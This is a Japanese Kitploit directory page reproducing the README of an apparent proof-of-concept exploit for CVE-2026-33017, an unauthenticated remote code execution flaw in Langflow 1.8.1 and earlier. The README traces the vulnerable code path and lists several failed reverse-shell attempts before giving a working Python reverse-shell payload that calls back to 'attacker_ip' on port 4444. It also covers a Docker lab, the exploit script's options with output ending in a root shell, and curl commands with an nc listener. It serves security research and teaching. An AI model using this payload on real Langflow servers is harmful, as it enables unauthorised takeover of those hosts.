Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33017 — Langflow <=1.8.1 における未認証RCEのPoCエクスプロイト。ソースレベルでの根本原因分析、AST対応のリバースシェルペイロード、Dockerラボ、パッチ差分、検出ルールを含みます。 | Kitploit
ツール/GitHubGitHub/lxxexxbxx/cve-2026-33017
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Langflow <=1.8.1 における未認証RCEのPoCエクスプロイト。ソースレベルでの根本原因分析、AST対応のリバースシェルペイロード、Dockerラボ、パッチ差分、検出ルールを含みます。

リポジトリを見る
11101ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

免責事項
本リポジトリはセキュリティ研究および教育目的で作成されました。
隔離された演習環境でのみ使用してください。
許可されていないシステムへの使用は、情報通信網法違反となり、刑事処罰の対象となります。


1. 脆弱性の概要

項目内容
CVE IDCVE-2026-33017
脆弱ソフトウェアLangflow (AIワークフロービルダー)
影響バージョンLangflow ≤ 1.8.1
パッチバージョンLangflow ≥ 1.9.0
脆弱性タイプUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEV登録済み

2. 脆弱性の原因分析

2-1. 脆弱なエンドポイント

POST /api/v1/build_public_tmp/{flow_id}/flow

Publicフロービルド用エンドポイントであり、認証なしでアクセス可能なように設計されたエンドポイントです。

2-2. コード実行経路 (Call Chain)

ソースコードを直接追跡して確認した実行経路:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← クライアント入力そのまま受信 (脆弱性)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← クライアントdataをそのまま転送
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 任意コード実行

2-3. ASTノードフィルタリング — ペイロード設計の核心的制約

prepare_global_scope() 関数は、提出されたコードのすべての構文を実行するわけではありません。AST解析後、特定のノードタイプのみを選別して実行します:

# lfx/custom/validate.py — prepare_global_scope() 内部
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Exprノードはどこにも含まれない → 実行されない

exec(compiled_code, exec_globals)  # definitionsのみ実行

実行可能なASTノードタイプ:

ASTノードタイプ例実行可否
FunctionDefdef _shell(): ...✅ 実行
ClassDefclass ExploitComponent(Component)✅ 実行
Assign_r = os.system("id")✅ 実行
AnnAssign_r: int = os.system("id")✅ 実行
Expros.system("id") (単独呼び出し)❌ 無視

結論: ペイロードは必ず Assign 形式(_r = ...)で記述しなければ実行されません。
単純な関数呼び出し(os.system("id"))は Expr ノードに分類され、フィルターで除外されます。

2-4. リバースシェルペイロードの設計過程 — 試行と失敗の分析

演習過程で複数のペイロード方式を試行し、それぞれの失敗原因をソースレベルで解明しました。

試行1 — subprocess.Popen + wait() (失敗)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← ここでブロッキング

失敗原因: Langflowワーカースレッドがコンポーネントの戻り値を監視し、
タイムアウト時にソケットを強制的に閉じます。_proc.wait() ブロッキングが無意味になります。

試行2 — os.execve() 直接呼び出し (失敗)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

失敗原因: POSIX規則上、マルチスレッドプロセスで execve() を呼び出すと、
呼び出しスレッド以外のすべてのスレッドが終了します → uvicornワーカー全体がクラッシュ → HTTP 500。

試行3 — os.fork() + execve() (失敗)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

失敗原因: uvicornが子プロセスを異常終了として検知し、
ワーカーを再起動させます → HTTP 500。

試行4 — threading.Thread(daemon=True) (失敗)

threading.Thread(target=_shell, daemon=True).start()

失敗原因: daemon=True スレッドはメインスレッド(Langflowワーカー)終了時に
一緒に破棄されます。connect() 試行前にスレッドが死んでしまいます。

最終動作ペイロード — threading.Thread(daemon=False) + Assign

# FunctionDef → 実行される
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 実行される (Expr単独呼び出しはフィルターから除外されるため、必ず変数代入)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

daemon=False を選択した理由:

  • daemon=True → Langflowワーカースレッド終了時に一緒に破棄
  • daemon=False → ワーカーと独立したライフサイクル → ソケット接続を維持可能

3. 演習環境の構成

3-1. ファイル構成

CVE-2026-33017/
├── README.md
├── Dockerfile              # 脆弱なLangflow 1.8.1環境
├── Dockerfile.attacker     # 攻撃者コンテナ (curl, nc, net-tools含む)
├── docker-compose.yml      # 脆弱サーバー + 攻撃者コンテナ
├── entrypoint.sh           # Langflow起動とPublicフローの自動生成
├── exploit.py              # リバースシェルPoC
└── poc.py                  # Blind RCE / 脆弱性の存在確認

3-2. 環境の起動

# 1. コンテナのビルドと起動
docker compose up --build

# 2. Langflow Web UIへのアクセス確認
# http://localhost:7860
# admin / admin123!

# 3. コンテナIPの確認
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. ネットワーク構成

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (被害者)  │
│  langflow-attacker   172.19.0.3       (攻撃者)  │
└──────────────────────────────────────────────────┘

4. PoCの使用方法

4-1. exploit.py — リバースシェル

攻撃者コンテナ内で実行:

docker exec -it langflow-attacker bash

# 自動モード (トークン発行 + Publicフロー生成 + 内蔵リスナー含む)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

オプション:

オプション説明デフォルト値
--url対象Langflow URL必須
--lhostリバースシェルコールバックIP必須
--lportリバースシェルコールバックポート必須
--flow-idPublicフローUUID (省略時は自動生成)自動
--user管理者IDadmin
--password管理者PWadmin123!
--no-listen内蔵リスナー無効化 (外部nc使用時)False
--timeoutHTTPタイムアウト(秒)30

期待される出力:

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] ログイン中... (admin)
[*] トークン発行成功
[*] Publicフロー生成中...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] リスナー起動 → 0.0.0.0:4444
[*] エンドポイント : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] コールバック : 172.19.0.3:4444
[*] ペイロード送信中...
[*] HTTP応答  : 200

[+] シェル接続済み  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — Blind RCE確認

脆弱性の存在有無のみを確認する場合に使用:

python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. curlによる手動再現

# 1. トークン発行 + Publicフロー生成
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. ncリスナー (ターミナル1)
nc -lvnp 4444

# 3. ペイロード送信 (ターミナル2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. exploit.py vs poc.py の役割分担

項目exploit.pypoc.py
目的リバースシェル取得脆弱性の存在確認 (Blind RCE)
結果確認攻撃者ターミナルで直接サーバーログ / OOB
リスナー内蔵あり不要
複数対象非対応対応 (--url-file)
演習用途影響度の実証脆弱性の存在証明

6. パッチ分析 — 1.8.1 vs 1.9.1

6-1. 脆弱なコード (1.8.1)

langflow/api/v1/chat.py:

ツールをダウンロード